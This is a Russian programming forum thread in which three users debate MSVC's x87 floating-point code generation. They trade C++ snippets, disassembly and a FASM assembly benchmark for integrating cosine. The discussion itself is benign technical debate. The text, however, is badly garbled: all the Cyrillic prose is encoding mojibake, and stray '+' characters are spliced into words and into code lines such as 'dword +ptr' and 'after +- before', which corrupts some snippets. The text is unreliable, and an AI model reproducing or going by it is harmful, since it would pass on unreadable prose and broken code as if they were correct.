int Bar(float arg)

A Ð’Ñ‹ Ñхитрили .. перепешите код изменив Ñту Ñрочку на
int Bar(int arg)

вот Вам ÐºÐ°Ñ€ÐºÐ°Ñ Ñ‚ÐµÑта :
Код


#include <iostream>

int __stdcall Foo(float arg)
{
    return int(arg)+1;
};
int Bar( int arg)
{
    Foo (arg); // вот вмеÑто Ñтого  Ð¿ÐµÑ€ÐµÐ´Ð°Ð¹Ñ‚е параметр через Ñтек  )
};
int main()
{
 std::cout << "Foo(5) = " << Bar(5)<<std::endl;

  system("pause");
  return 0;
}


потом еше можете изменить int на double и поÑмотреть результат ) 
+
+ + + + + + +
Ðвтор: J0ker 8.12.2008, 22:39
GoldFinch, вот, разберитеÑÑŒ уже наконец
Код

__declspec(noinline) float foo(float x, float x1)
{
    return x * x1;
00401650  fld         dword ptr [esp+4] 
00401654  fmul        dword ptr [esp+8] 
00401658  fstp        dword ptr [esp+4] 
0040165C  fld         dword ptr [esp+4] 
}
00401660  ret              

..............

__declspec(noinline) double foo1(double x, double x1)
{
    return x * x1;
00401670  fld         qword ptr [esp+4] 
00401674  fmul        qword ptr [esp+0Ch] 
}
00401678  ret              

..................

int _tmain(int argc, _TCHAR* argv[])
{
00401680  push        ebp  
00401681  mov         ebp,esp 
00401683  and         esp,0FFFFFFC0h 
00401686  push        0FFFFFFFFh 
00401688  push        403A20h 
0040168D  mov         eax,dword ptr fs:[00000000h] 
00401693  push        eax  
00401694  sub         esp,70h 
00401697  mov         eax,dword ptr ds:[00406018h] 
0040169C  xor         eax,esp 
0040169E  mov         dword ptr [esp+38h],eax 
004016A2  push        esi  
004016A3  mov         eax,dword ptr ds:[00406018h] 
004016A8  xor         eax,esp 
004016AA  push        eax  
004016AB  lea         eax,[esp+78h] 
004016AF  mov         dword ptr fs:[00000000h],eax 
004016B5  mov         esi,dword ptr [ebp+0Ch] 
    float a = (float)atof(argv[1]);
004016B8  mov         eax,dword ptr [esi+4] 
004016BB  push        eax  
004016BC  call        dword ptr ds:[00404108h] 
004016C2  fstp        dword ptr [esp+34h] 
    float b = (float)atof(argv[2]);
004016C6  mov         ecx,dword ptr [esi+8] 
004016C9  add         esp,4 
004016CC  push        ecx  
004016CD  call        dword ptr ds:[00404108h] 
    
    float y = foo(a, b) * 4.7f;
004016D3  fstp        dword ptr [esp+38h] 
004016D7  fld         dword ptr [esp+38h] 
004016DB  fstp        dword ptr [esp] 
004016DE  push        ecx  
004016DF  fld         dword ptr [esp+38h] 
004016E3  fstp        dword ptr [esp] 
004016E6  call        00401650 
004016EB  fmul        qword ptr ds:[00404650h] 

    double a1 = atof(argv[1]);
004016F1  mov         edx,dword ptr [esi+4] 
004016F4  push        edx  
004016F5  fstp        dword ptr [esp+3Ch] 
004016F9  call        dword ptr ds:[00404108h] 
    double b1 = atof(argv[2]);
004016FF  mov         eax,dword ptr [esi+8] 
00401702  fstp        qword ptr [esp+40h] 
00401706  add         esp,0Ch 
00401709  push        eax  
0040170A  call        dword ptr ds:[00404108h] 

    double y1 = foo1(a1, b1) * 4.7;
00401710  sub         esp,0Ch 
00401713  fstp        qword ptr [esp+8] 
00401717  fld         qword ptr [esp+44h] 
0040171B  fstp        qword ptr [esp] 
0040171E  call        00401670 
00401723  fmul        qword ptr ds:[00404648h] 
00401729  add         esp,10h 

    return (int)(y + y1);
0040172C  fadd        dword ptr [esp+30h] 
00401730  call        00403500 
}
00401735  mov         ecx,dword ptr [esp+78h] 
00401739  mov         dword ptr fs:[00000000h],ecx 
00401740  pop         ecx  
00401741  pop         esi  
00401742  mov         ecx,dword ptr [esp+38h] 
00401746  xor         ecx,esp 
00401748  call        00401F58 
0040174D  mov         esp,ebp 
0040174F  pop         ebp  
00401750  ret              
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 22:39
J0ker
Код

.text:10001344                 fld     [esp+18h+arg_4]
.text:10001348                 fstp    [esp+18h+var_14]
.text:1000134C                 fld     dword +ptr [eax+4]
.text:1000134F                 fstp    [esp+18h+var_18]
.text:10001352                 call    FCanvasUtil::DrawLine(float,float,float,float,FColor,int)

где +Ð’Ñ‹ тут увидели double??? тот Ñамый 64-разрÑдный double, а не +32-разрÑдный float?? надеюÑÑŒ Ð’Ñ‹ понимаете что мы говорим о +32(тридцатидвух)-разрÑдных значениÑÑ…??

но Ñпециально Ð´Ð»Ñ Ð’Ð°Ñ, Ñ Ð¿ÐµÑ€ÐµÐ¿Ð¸ÑˆÑƒ код Ð´Ð»Ñ double, и даже уберу там баги которых Ð’Ñ‹ не заметили)))
Код

#include <windows.h>
#pragma comment(linker,"/ENTRY:main")

__declspec(noinline) int __stdcall Foo(double arg)
{
    return arg == 8.0/7.0;
};
 
__declspec(noinline) int __stdcall Bar(double arg)
{__asm{
    push dword ptr [arg+4]
    push dword ptr [arg]
    call Foo
}};

void main()
{    
    if ( Bar(8.0/7.0)) 
        MessageBoxA(0,"8/7==8/7","ok",0);
    else
        MessageBoxA(0,"8/7!=8/7",0,0);
}

ÐºÐ°ÐºÐ±Ñ 64-разрÑдные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð·Ð°Ð¿Ð¸Ñ…Ð¸Ð²Ð°ÑŽÑ‚ÑÑ Ð² Ñтек Ð´Ð²ÑƒÐ¼Ñ push [mem32]

более того, пиши Ñ Ð¿Ð¾Ð´ x64, там был бы один push [mem64]

Добавлено @ 22:44
J0ker, Ð’Ð°Ñ Ð² вашем коде Ñтрочки
00401658  fstp        dword ptr [esp+4] 
0040165C  fld         dword ptr [esp+4] 
не Ñмущают?
и вообще, как Ñта муть отноÑитÑÑ Ðº теме?


mes, медленно, вдумчиво, прочитайте еще раз Ñтот код, и Ð’Ñ‹ поймете что Ð’Ñ‹ пишите не по теме.
.text:10001344                 fld     [esp+18h+arg_4]
.text:10001348                 fstp    [esp+18h+var_14]
.text:1000134C                 fld     dword +ptr [eax+4]
.text:1000134F                 fstp    [esp+18h+var_18]
.text:10001352                 call    FCanvasUtil::DrawLine(float,float,float,float,FColor,int)
ну нету в Ñтом коде ничего ÑвÑзанного Ñ int, не-ту
+
+ + + + + + +
Ðвтор: J0ker 8.12.2008, 23:04
Цитата(GoldFinch @  8.12.2008,  22:39 Ðайти цитируемый поÑÑ‚)
о Ñпециально Ð´Ð»Ñ Ð’Ð°Ñ, Ñ Ð¿ÐµÑ€ÐµÐ¿Ð¸ÑˆÑƒ код Ð´Ð»Ñ double, и даже уберу там баги которых Ð’Ñ‹ не заметили)))

да Ñ ÑобÑтна не про Ñтот код  smile 
Ñ ÐµÐ³Ð¾ даже не читал

Цитата(GoldFinch @  8.12.2008,  22:39 Ðайти цитируемый поÑÑ‚)
J0ker, Ð’Ð°Ñ Ð² вашем коде Ñтрочки
00401658  fstp        dword ptr [esp+4] 
0040165C  fld         dword ptr [esp+4] 
не Ñмущают?

а Ð²Ð°Ñ Ñмущает? а что Ð²Ð°Ñ Ñмущает?  smile 

Цитата(GoldFinch @  8.12.2008,  22:39 Ðайти цитируемый поÑÑ‚)
и вообще, как Ñта муть отноÑитÑÑ Ðº теме?

когда вы Ñто поймете, диÑкуÑÑÐ¸Ñ Ð±ÑƒÐ´ÐµÑ‚ окончена  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 23:09
J0ker, Ñти +Ñтрочки - nop. они ничего не делают. И таких Ñтрочек в том коде много. +Ð’Ñ‹ вообще Ñмотрели тот код который выложили? Да там оптимизацией и не +пахнет.

Добавлено через 6 минут
По оптимизации - вот Ñто вот
004016DE  push        ecx  
004016DF  fld         dword ptr [esp+38h] 
004016E3  fstp        dword ptr [esp] 
004016E6  call        00401650 
заменÑетÑÑ Ð½Ð°
push dword ptr [esp+38h]  
call 00401650
и т.д. и т.п.

не верите? проверьте в ольке 
+
+ + + + + + +
Ðвтор: J0ker 8.12.2008, 23:23
Цитата(GoldFinch @  8.12.2008,  23:09 Ðайти цитируемый поÑÑ‚)
J0ker, Ñти Ñтрочки - nop. они ничего не делают.

да неужели?
а давайте проверим - вот конкретно Ñти Ñтрочки
Код

// здеÑÑŒ ST0 = +7.5899997329711936e+0000
00401658  fstp        dword ptr [esp+4] 
0040165C  fld         dword ptr [esp+4]
// а здеÑÑŒ ST0 = +7.5899996757507324e+0000

вы мыÑль улавливаете, да?  smile

Добавлено через 1 минуту и 32 Ñекунды
Цитата(GoldFinch @  8.12.2008,  23:09 Ðайти цитируемый поÑÑ‚)
По оптимизации - вот Ñто вот
004016DE  push        ecx  
004016DF  fld         dword ptr [esp+38h] 
004016E3  fstp        dword ptr [esp] 
004016E6  call        00401650 
заменÑетÑÑ Ð½Ð°
push dword ptr [esp+38h]  
call 00401650
и т.д. и т.п.

не верите? проверьте в ольке 

только еÑли нет Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚Ð¸Ð¿Ð¾Ð²
ага  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 23:30
J0ker, уловил. +Только в чем ÑмыÑл Ð¾ÐºÑ€ÑƒÐ³Ð»ÐµÐ½Ð¸Ñ 80-разрÑдного Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² Ñтеке +ÑопроцеÑÑора до 32-разрÑдного? Я чтото не предÑтавлÑÑŽ Ñебе жизненных +Ñлучаев где Ñто может пригодитьÑÑ.

Добавлено @ 23:33
мм... развечто при Ñравнении... так тогда и надо округлÑть перед Ñравнением, а не вÑегда и везде, иначе ÐºÐ°ÐºÐ°Ñ Ñто Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð°Ñ†Ð¸Ñ %)


так или иначе, разговор началÑÑ Ñ ÐºÐ¾Ð¿Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ float в Ñтек, *уже округленного* float в Ñтек.
+
+ + + + + + +
Ðвтор: J0ker 8.12.2008, 23:36
в том, что вы не можете проÑто так отрезать лишние биты при транÑфере чиÑел Ñ Ð¿Ð»Ð°Ð²Ð°ÑŽÑ‰ÐµÐ¹ точкой
Ñ +Ñовершенно ÑоглаÑен, что можно, и даже иногда нужно оптимизировать +вычиÑÐ»ÐµÐ½Ð¸Ñ Ð½Ð° FPU на аÑÑемблере, Ñ‚.к. Ñтандартные типы пока не вмещают +полноразмерные чиÑла Ñ ÐŸÐ¢
но Ñовершенно безоÑновательно возводить поклеп на умных людей напиÑавших грамотный компилÑтор

Добавлено через 10 минут
Цитата(GoldFinch @  8.12.2008,  23:30 Ðайти цитируемый поÑÑ‚)
так или иначе, разговор началÑÑ Ñ ÐºÐ¾Ð¿Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ float в Ñтек, *уже округленного* float в Ñтек.

Ñто вы знаете, что у Ð²Ð°Ñ Ñ‚Ð°Ð¼ float, а процеÑÑору Ñто нужно доказать  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 23:47
Цитата(J0ker @  8.12.2008,  23:36 Ðайти цитируемый поÑÑ‚)
в том, что вы не можете проÑто так отрезать лишние биты при транÑфере чиÑел Ñ Ð¿Ð»Ð°Ð²Ð°ÑŽÑ‰ÐµÐ¹ точкой

Так Ñ Ð¸ не понÑл Ñ Ñтими отрезаниÑми.....
У +Ð¼ÐµÐ½Ñ Ð² памÑти еÑть 32-разрÑдный float. Готовый, правильный, безо вÑÑких +подвохов float. Почему компилÑтор не копирует его в Ñтек командой push +[mem32], а генерит fld [mem32] / fstp [mem32] ?? Ð’ Ñтеке же оказываетÑÑ +одно и тоже значение...
Цитата(J0ker @  8.12.2008,  23:36 Ðайти цитируемый поÑÑ‚)

Ñ +Ñовершенно ÑоглаÑен, что можно, и даже иногда нужно оптимизировать +вычиÑÐ»ÐµÐ½Ð¸Ñ Ð½Ð° FPU на аÑÑемблере, Ñ‚.к. Ñтандартные типы пока не вмещают +полноразмерные чиÑла Ñ ÐŸÐ¢

кто невмещает? в С++ нет 10-байтового вещеÑтвенного чтоли?

Добавлено через 2 минуты и 56 Ñекунд
дейÑтвительно нет.... везде еÑть, а в С++ нет.... как же так %)
+
+ + + + + + +
Ðвтор: J0ker 8.12.2008, 23:53
c'est la vie
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 23:53
Цитата(J0ker @  8.12.2008,  23:36 Ðайти цитируемый поÑÑ‚)
Ñто вы знаете, что у Ð²Ð°Ñ Ñ‚Ð°Ð¼ float, а процеÑÑору Ñто нужно доказать 

что доказать????
004016DE  push        ecx  ; sub esp,SizeOf(dword)
004016DF  fld         dword ptr [esp+38h] 
004016E3  fstp        dword ptr [esp] 
004016E6  call        00401650 
float и dword Ñто одно и то же, что тут доказывать процеÑÑору?
+
+ + + + + + +
Ðвтор: J0ker 9.12.2008, 00:00
опа, вот и Ñ Ð½Ðµ прав
long double в Ñтандарте оказываетÑÑ... проморгал smile

Добавлено через 2 минуты и 34 Ñекунды
Цитата(GoldFinch @  8.12.2008,  23:53 Ðайти цитируемый поÑÑ‚)
004016DF  fld         dword ptr [esp+38h] 
004016E3  fstp        dword ptr [esp] 
004016E6  call        00401650 
float и dword Ñто одно и то же, что тут доказывать процеÑÑору? 

Ñ Ð¶ вам уже Ñказал - что у Ð²Ð°Ñ Ñ‚Ð°Ð¼ лежит в памÑти извеÑтно только вам
+
+ + + + + + +
Ðвтор: Kallikanzarid 9.12.2008, 00:27
Итак, it's a showdown!!!

Ðлгоритм +- интегрирование методом трапеций. ИнтегрируетÑÑ ÐºÐ¾ÑинуÑ, при Ñтом +Ñпециально не иÑпользуетÑÑ ÐµÐ³Ð¾ ÑвойÑтво периодичноÑти. Ð’ общем, Ñмотри +код:
Код

#include <cstdlib>
#include <cmath>
#include <iostream>
using namespace std;

const float pi = static_cast<float>( M_PI );

float cosint( float a, float b, int N ) {
    float sum = 0.0f;
    float h = (b - a) / N;
    for( float cur = a + h; cur < b; cur += h )
        sum += cos( cur );
    return ( sum + ( cos(a) + cos(b) ) * 0.5f ) * h;
}

int main() {
    clock_t before = clock();
    float result = cosint( 0.0f, 1000.0f * pi, 10000000 );
    clock_t after = clock();
    
    cout << result << " -- " << (after +- before) / +1000.0 << " seconds." << endl;
}



Код, кÑтати, кроÑÑплатформенней некуда. Компилировал Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ MinGW Ñо Ñледующими параметрами=:

g++ +-msse3 -mfancy-math-387 -m80387 -mhard-float -mtune=pentium4 +-march=pentium4 -mthreads -mfp-ret-in-387 -mieee-fp -O3 +-funroll-loops  -o showdown.exe showdown.cpp

ПоÑле Ñтого прогнал через strip:
strip -s showdown.exe

Прикладываю Ñкзешник. Удачи, чувак  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 9.12.2008, 14:44
Kallikanzarid, ты бы перед тем как выкладывать код Ñ Ð±Ð¸Ð½Ð°Ñ€Ð½Ð¸ÐºÐ¾Ð¼, убедилÑÑ Ð±Ñ‹ в их качеÑтве
код - неудобный, хз как у Ð²Ð°Ñ Ð° Ð¼ÐµÐ½Ñ ÐµÑ‰Ðµ в школе учили в конце конÑольной программы вÑтавлÑть паузу.
Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ - неоптимизирована, про иÑпользование for Ñ Ð²Ð¾Ð¾Ð±Ñ‰Ðµ промолчу... 

а Ñамое главное, в бинарнике видно что компилÑтор заинлайнил cosint() и заменил ее аргументы конÑтантами.
получилоÑÑŒ както так:
Код

    clock_t before = clock();
    float sum = 0.0f;
    float h = 1000.0f * pi / 10000000;
    for( float cur = h; cur < 1000.0f * pi; cur += h )
        sum += cos( cur );
    result =  ( sum + cos(1000.0f * pi) * 0.5f ) * h;
    clock_t after = clock();

так и было задумано?) а что Ñразу так не напиÑал?)))
+
+ + + + + + +
Ðвтор: Kallikanzarid 9.12.2008, 15:09
GoldFinch,

1) За годы практики Ñ ÑƒÐ±ÐµÐ´Ð¸Ð»ÑÑ, вÑÑ‚Ñ€Ð¾ÐµÐ½Ð½Ð°Ñ Ð² Ñаму программу пауза - Ñто зло. Ðамного лучше Ñоздавать Ð´Ð»Ñ Ñтой цели .bat-файл.
2) +Я Ñпециально ничего не оптимизировал, чтобы Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÑлаÑÑŒ +доÑтаточно долго, и чтобы компилÑтор мог проÑвить ÑÐµÐ±Ñ Ð² раÑкрутке +циклов и Ñ‚. д.
3) for и правда не Ñамый оптимальный (и, к тому же, +накапливающий погрешноÑть), но мы ведь Ñпорили об оптимизации FPU-кода, +так? Вот Ñ Ð¸ ÑтараюÑÑŒ загрузить его по макÑимуму.
4) Инлайн еÑть гут smile ÐžÐ¿Ñ‚имизирующий +компилÑтор ведь должен оптимизировать, так? Ðо в любом Ñлучае Ñ +ÑомневаюÑÑŒ, что один дополнительный вызов бы Ñделал погоду.
5) Да, так и было задумано smile

Добавлено через 3 минуты и 8 Ñекунд
float +вмеÑто double Ñ Ñ‚Ð¾Ð¶Ðµ иÑпользовал в Ñвоих корыÑтных целÑÑ…, дабы +Ð²ÐµÐºÑ‚Ð¾Ñ€Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ð»Ð° прироÑÑ‚ x4, а не x2. Ð¥Ð¾Ñ‚Ñ Ñтот алгоритм не оÑобенно +хорош Ð´Ð»Ñ SSE, так что, может быть, код там иÑпользует только FPU. Хз, +Ñ Ñ‡ÐµÑ€ÐµÐ· BIEW не прогонÑл.
+
+ + + + + + +
Ðвтор: GoldFinch 9.12.2008, 17:10
Решение "в лоб", без FPU-оптимизации, бинарник (2кб) в архиве
Код

include 'win32a.inc'
include 'hll.inc'
format PE GUI 4.0
;=====================================================
section '.data' data readable writeable
;------------------------
IMPORTS KERNEL32.DLL, <ExitProcess,GetTickCount,Sleep>,\
        USER32.DLL,   <wsprintfA,MessageBoxA>
;------------------------
m dd 100000000 ;8digits=32/4
gRealBuf: dt ?
gMsgBuf db 1024 dup ?
;=====================================================
section '.code' code readable executable
entry $
; float result = cosint( 0.0f, 1000.0f * pi, 10000000 );
      GetTickCount()
      push eax
;A=0
;B=1000.0f * pi
      ;-----------------------------------------------------
      jmp @f
      b_pi dd 1e+3 ;b/pi
      h_pi dd 1e-4 ;h/pi=(b/pi)/N
      _0.5 dd 0.5
@@:
      fldpi ;pi
      fmul [h_pi] ;h

      fldpi ;pi,h
      fmul [b_pi] ;b,h
      fcos ;cos(b),h
      fmul [_0.5] ;sum,h

      fld st1 ;cur,sum,h
      mov ecx,10000000
      dec ecx ;N-1
.loo:               ;cur,sum,h
      fld st0       ;cur,cur,sum,h
      fcos          ;cos(cur),cur,sum,h
      faddp st2,st0 ;cur,sum',h
      fadd st0,st2  ;cur',sum',h
      loop .loo
      fxch st2      ;h,sum,cur
      fmul st0,st1  ;result
      ;-----------------------------------------------------
      GetTickCount()
      pop edx
      sub eax,edx
      fimul [m]
      fbstp tword [gRealBuf]
      wsprintfA(gMsgBuf,"Result = %x.%08x, Time = %dms",[gRealBuf+4],[gRealBuf],eax)
      MessageBoxA(0,gMsgBuf,"Result",0)
      ExitProcess()
;=====================================================
section '.reloc' fixups data discardable


на моем компе код Kallikanzarid'а работает 704мÑ, мой код работает 563мÑ, 20% разница
P4 3ГГц, WinXPSp2
+
+ + + + + + +
Ðвтор: Kallikanzarid 9.12.2008, 18:51
Хорошо... но недоÑтаточно!
Я +немного подправил код, Ñделав цикл целочиÑленным. Это ÑкоÑтило ÑовÑем +немного, зато точноÑть возраÑла до твоей. Зато потом Ñ Ð´Ð¾Ñ€Ð²Ð°Ð»ÑÑ Ð´Ð¾ +документации GCC, хехе. Ð’ общем, качай.
+
+ + + + + + +
Ðвтор: J0ker 9.12.2008, 19:34
Kallikanzarid, Ñ Ñ‚Ðµ Ñоветую воÑпользоватьÑÑ OpenMP
и пуÑть GoldFinch, попробует угнатьÑÑ  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 9.12.2008, 19:35
Kallikanzarid, оÑталоÑÑŒ Ð²Ñ€ÐµÐ¼Ñ Ð¸Ð·Ð¼ÐµÑ€Ñть не +-10%
ÐºÐ°ÐºÐ±Ñ +clock() вызывает GetSystemTimeAsFileTime, а Ñто очень плохой метод +измерениÑ, да и увеличивать Ð²Ñ€ÐµÐ¼Ñ Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ ÑƒÐ²ÐµÐ»Ð¸Ñ‡Ð¸Ð²Ð°Ñ Ð²Ñ€ÐµÐ¼Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ +теÑтируемого алгоритма не Ñамый лучший подход

кÑтати, что Ñто у +Ñ‚Ñ Ð¿Ñ€Ð¾Ð³Ð° веÑит 275кб и требует неÑиÑтемную дллку msvcrt.dll? а зачем у +Ñ‚Ñ Ð² архиве дллка mingwm10.dll, Ð´Ð»Ñ Ð²ÐµÑу?

ЗЫ: между прочим, мы начинали разговор именно о MSVC
+
+ + + + + + +
Ðвтор: Kallikanzarid 9.12.2008, 19:58
J0ker, у него один проц, Ñкажет, что ничего не заметил  smile 

GoldFinch,

Цитата

кÑтати, что Ñто у Ñ‚Ñ Ð¿Ñ€Ð¾Ð³Ð° веÑит 275кб и требует неÑиÑтемную дллку msvcrt.dll

Пошли +отговорки? ;-) Прога веÑти 275 кб, потому что иÑпользует ÑтатичеÑкий +билд libc++. msvcrt.dll еÑть в каждом диÑтрибутиве Windows, Ñто +Ñ€ÐµÐ°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ñ€Ð°Ð½Ñ‚Ð°Ð¹Ð¼Ð° С. ЕÑли подумать, иÑпользование в качеÑтве бÑкÑнда +Ð´Ð»Ñ libc++ родной Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ платформы реализации C runtime - логичный +ход Ñо Ñтороны GNU.

Цитата

а зачем у Ñ‚Ñ Ð² архиве дллка mingwm10.dll, Ð´Ð»Ñ Ð²ÐµÑу?

ХЗ, но билд ее требует.

Цитата

ЗЫ: между прочим, мы начинали разговор именно о MSVC

Ðет уж, теперь ты не отвертишьÑÑ  smile ÐšÑтати, ÑчитаетÑÑ, что у MSVC генерируемый код лучше, чем у гнуÑа.

Цитата

ÐºÐ°ÐºÐ±Ñ clock() вызывает GetSystemTimeAsFileTime, а Ñто очень плохой метод измерениÑ

Ð’ интереÑах науки заменил clock() на GetTickCount(). Результат практичеÑки не изменилÑÑ. Ðрхив прилагаетÑÑ.

Цитата

да и увеличивать Ð²Ñ€ÐµÐ¼Ñ Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ ÑƒÐ²ÐµÐ»Ð¸Ñ‡Ð¸Ð²Ð°Ñ Ð²Ñ€ÐµÐ¼Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ теÑтируемого алгоритма не Ñамый лучший подход

Почему? +Тут менÑетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ чиÑло итераций. С тем же уÑпехом можно взÑть +компактный алгоритм, прогнать его неÑколько тыÑÑч раз и взÑть Ñреднее +арифметичеÑкое времÑ. Ðа протÑжении почти вÑех итераций код и данные +будут в кÑше, и Ñто может ÑказатьÑÑ, но Ð´Ð»Ñ ÑÑ€Ð°Ð²Ð½ÐµÐ½Ð¸Ñ ÑффективноÑти +кода той или иной реализации Ñто не так важно.
+
+ + + + + + +
Ðвтор: GoldFinch 9.12.2008, 20:12
Kallikanzarid, у Ð¼ÐµÐ½Ñ ÐºÐ¾Ð´ 2кб, в 137 раз меньше, еÑли Ñлить Ñекции в 1 - будет веÑить 1кб, в 275 раз меньше
еÑли Ñ Ð³Ð¾Ð²Ð¾Ñ€Ð¸Ð» что у MSVC кодогенератор гуан* то зачем выкладывать код Ñгенереный gcc?
и GetTickCount() тоже Ð¿Ð»Ð¾Ñ…Ð°Ñ Ð¸Ð´ÐµÑ, Ñ ÐµÐ³Ð¾ юзал только чтобы получать результат в Ñекундах, мерить производительноÑть лучше rdtsc
мерÑть +лучше так - Ñделать небольшую длительноÑть 1 Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ (в идеале меньше +1 кванта времени), выполнить Sleep чтобы измерение началоÑÑŒ в начале +кванта, замерить, выполнить Sleep, замерить и Ñ‚.д., а вÑе замеры +проÑуммировать
+
+ + + + + + +
Ðвтор: Kallikanzarid 9.12.2008, 20:19
Цитата

мерить производительноÑть лучше rdtsc
мерÑть +лучше так - Ñделать небольшую длительноÑть 1 Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ (в идеале меньше +1 кванта времени), выполнить Sleep чтобы измерение началоÑÑŒ в начале +кванта, замерить, выполнить Sleep, замерить и Ñ‚.д., а вÑе замеры +проÑуммировать 

Рзачем? ИМХО, картина и так ÑÑна.

Цитата

еÑли Ñ Ð³Ð¾Ð²Ð¾Ñ€Ð¸Ð» что у MSVC кодогенератор гуан* то зачем выкладывать код Ñгенереный gcc?

Ты +хаил портируемый код и С++ вообще. Можешь поигратьÑÑ Ñ Ð½Ð°Ñтройками MSVC +в качеÑтве домашнего заданиÑ. Бенчмарки показывают, что его код +быÑтрее, чем у GCC.

Цитата

у Ð¼ÐµÐ½Ñ ÐºÐ¾Ð´ 2кб, в 137 раз меньше, еÑли Ñлить Ñекции в 1 - будет веÑить 1кб, в 275 раз меньше

ДопуÑтим. И что?  smile 

Предлагаю +начать новый раунд ÑпичеÑкого противоÑтоÑниÑ. Ðа Ñтот раз проверим +работу Ñ Ð¿Ð°Ð¼Ñтью, в чаÑтноÑти, Ñ Ð¼Ð°ÑÑивами. Выбирай задачу smile
+
+ + + + + + +
Ðвтор: GoldFinch 9.12.2008, 20:20
Цитата(Kallikanzarid @  9.12.2008,  20:19 Ðайти цитируемый поÑÑ‚)
Ты хаил портируемый код и С++ вообще. 

цитату
+
+ + + + + + +
Ðвтор: J0ker 9.12.2008, 20:22
Цитата(GoldFinch @  9.12.2008,  20:12 Ðайти цитируемый поÑÑ‚)
еÑли Ñ Ð³Ð¾Ð²Ð¾Ñ€Ð¸Ð» что у MSVC кодогенератор гуан*

мыж уже вроде решили что гуан* не компилÑтор, а ваше понимание?  smile 
+
+ + + + + + +
Ðвтор: Kallikanzarid 9.12.2008, 20:25
Цитата:
Цитата

Kallikanzarid, +из-за "кроÑÑплатформенноÑти", в С(++) нет ÑпоÑоба ÑредÑтвами Ñзыка +Ñгенерить некоторые x86-87 команды, например загрузку конÑтант в +FPU. 
Т.е. в некроÑÑплатформенном паÑкале еÑть +оператор(функциÑ) Pi который генерит fldpi, а в кроÑÑплатформенном +С(++) оператора Pi() нет, и ÑпоÑоба Ñгенерить fldpi (и другие +конÑтанты) тоже нет.
Впрочем код C++ Ð´Ð»Ñ FPU меÑтами ужаÑен %) Ðи один нормальный программиÑÑ‚ такого бы не пиÑал. 

Как наиболее характерный образчик.
+
+ + + + + + +
Ðвтор: GoldFinch 9.12.2008, 20:31
Цитата(GoldFinch @  8.12.2008,  20:05 Ðайти цитируемый поÑÑ‚)
ок, будет говорить иÑключительно о компилÑторе MSVC. так вот у него кодогенератор - гуан*

наÑчет кода Ð´Ð»Ñ FPU - вот так вот в MSVC передаютÑÑ 32-разрÑдные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ float
.text:10001344                 fld     [esp+18h+arg_4]
.text:10001348                 fstp    [esp+18h+var_14]
.text:1000134C                 fld     dword +ptr [eax+4]
.text:1000134F                 fstp    [esp+18h+var_18]
.text:10001352                 call    FCanvasUtil::DrawLine(float,float,float,float,FColor,int)

только в Ñледующем же поÑте Ñ ÑƒÑ‚Ð¾Ñ‡Ð½Ð¸Ð» что речь идет о MSVC и начал приводить примеры его кодогенерации


Хочешь ÑпичеÑкого противоÑтоÑниÑ? по размеру оптимизировать будем?
+
+ + + + + + +
Ðвтор: J0ker 9.12.2008, 20:36
Цитата(GoldFinch @  9.12.2008,  20:31 Ðайти цитируемый поÑÑ‚)
только в Ñледующем же поÑте Ñ ÑƒÑ‚Ð¾Ñ‡Ð½Ð¸Ð» что речь идет о MSVC и начал приводить примеры его кодогенерации

вы игнорируете мой вопроÑ?  smile 

Цитата(GoldFinch @  9.12.2008,  20:31 Ðайти цитируемый поÑÑ‚)
Хочешь ÑпичеÑкого противоÑтоÑниÑ? по размеру оптимизировать будем? 


Kallikanzarid, +ÑоглашайтеÑÑŒ - придумайте задачу, иÑпользующую как можно больше функций +CRT - printf например - пуÑть затрахаетÑÑ Ð¸ заодно поÑоревнуетÑÑ Ð² +оптимизации на реальных программах  smile 
+
+ + + + + + +
Ðвтор: Kallikanzarid 9.12.2008, 20:36
Оптимизируем по времени выполнениÑ.
+
+ + + + + + +
Ðвтор: GoldFinch 9.12.2008, 20:43
Kallikanzarid, а что не по размеру? Там в компилÑторе даже Ð¾Ð¿Ñ†Ð¸Ñ ÐµÑть, "оптимизировать по размеру", в MSVC по крайней мере
+
+ + + + + + +
Ðвтор: J0ker 9.12.2008, 20:46
GoldFinch, передергиваете, да?  smile Ð°Ñ€Ð³Ð£Ð¼ÐµÐ½Ñ‚Ñ‹ кончаютÑÑ?  smile 
+
+ + + + + + +
Ðвтор: Kallikanzarid 9.12.2008, 20:50
GoldFinch, по +той проÑтой причине, что вÑе ЯВУ поÑтоÑнно держат в памÑти ÑобÑтвенный +рантайм, так что тут им конкурировать Ñ Ð»Ð¸ÑˆÐµÐ½Ð½Ñ‹Ð¼ оного аÑÑемблером +беÑÑмыÑленно. Тем более, что размер Ñкзешника в наши дни не оÑобенно +важен, тем более, еÑли Ñчет идет на килобайты.
+
+ + + + + + +
Ðвтор: J0ker 9.12.2008, 20:51
